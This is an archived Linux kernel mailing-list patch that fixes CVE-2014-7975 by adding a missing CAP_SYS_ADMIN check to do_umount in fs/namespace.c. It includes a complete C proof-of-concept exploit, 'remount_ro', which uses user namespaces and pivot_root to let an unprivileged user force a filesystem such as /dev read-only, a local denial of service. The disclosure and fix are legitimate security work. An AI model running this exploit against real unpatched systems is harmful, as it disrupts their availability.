[PATCH] fs: Add a missing permission check to do_umount

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Accessing do_remount_sb should require global CAP_SYS_ADMIN, but
only one of the two call sites was appropriately protected.

Fixes CVE-2014-7975.

Cc: stable@xxxxxxxxxxxxxxx
Signed-off-by: Andy Lutomirski <luto@xxxxxxxxxxxxxx>
---

*Sigh*

Build the thing below and do something like:

$ cd /dev/pts
$ remount_ro /dev

/* remount_ro.c */
/* Copyright (c) 2014 Andrew Lutomirski.  All rights reserved. */

#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/stat.h>

#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif

static void set_map(const char *path, uid_t outer)
{
	char buf[1024];
	int fd = open(path, O_WRONLY);
	if (fd == -1)
		err(1, "open map");
	sprintf(buf, "0 %ld 1", (long)outer);
	if (write(fd, buf, strlen(buf)) != strlen(buf))
		err(1, "write map");
	close(fd);
}

int main(int argc, char **argv)
{
  printf("remount_ro, a DoS by Andy Lutomirski\n");
  if (argc != 2) {
    printf("Usage: remount_ro TARGET_MOUNT\n");
    return 1;
  }

  int origroot_fd;
  long uid = geteuid(), gid = getegid();
  char origcwd[16384];
  const char *target = argv[1];

  if (unshare(CLONE_NEWUSER) != 0)
    err(1, "unshare(CLONE_NEWUSER)");
  if (unshare(CLONE_NEWNS) != 0)
    err(1, "unshare(CLONE_NEWNS)");

  set_map("/proc/self/uid_map", uid);
  set_map("/proc/self/gid_map", gid);

  if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0)
    err(1, "MS_PRIVATE");

  // Minimize required thought: just chroot to the target first.
  if (chroot(target) != 0)
    err(1, "chroot to target");

  // Big song and dance to clear MNT_LOCKED on "/".

  origroot_fd = open("/", O_RDONLY);
  if (origroot_fd == -1)
    err(1, "open");

  if (!getcwd(origcwd, sizeof(origcwd)))
      err(1, "getcwd");
  if (!strncmp("(unreachable)", origcwd, 13))
    errx(1, "current directory must be under the target directory");
  if (!strcmp(origcwd, "/"))
    errx(1, "don't run from the target directory");
  if (mount("temporary_root", ".", "tmpfs", 0, NULL) != 0)
    err(1, "mount");
  if (chdir(origcwd) != 0)
    err(1, "chdir");

  if (syscall(SYS_pivot_root, ".", ".") != 0)
    err(1, "pivot_root");

  if (fchdir(origroot_fd) != 0)
    err(1, "fchdir");
  close(origroot_fd);

  if (chroot(".") != 0)
    err(1, "chroot");

  // That was fun.  Exploit time.
  if (umount2("/", MNT_FORCE) != 0)
    err(1, "umount");
  printf("Seems to have worked.  Have fun.\n");

  return 0;
}

 fs/namespace.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/fs/namespace.c b/fs/namespace.c
index ef42d9bee212..7f67b463a5b4 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -1356,6 +1356,8 @@ static int do_umount(struct mount *mnt, int flags)
 		 * Special case for "unmounting" root ...
 		 * we just try to remount it readonly.
 		 */
+		if (!capable(CAP_SYS_ADMIN))
+			return -EPERM;
 		down_write(&sb->s_umount);
 		if (!(sb->s_flags & MS_RDONLY))
 			retval = do_remount_sb(sb, MS_RDONLY, NULL, 0);
-- 
1.9.3

--
To unsubscribe from this list: send the line "unsubscribe stable" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at  http://vger.kernel.org/majordomo-info.html




[Index of Archives]     [Linux Kernel]     [Kernel Development Newbies]     [Linux USB Devel]     [Video for Linux]     [Linux Audio Users]     [Yosemite Hiking]     [Linux Kernel]     [Linux SCSI]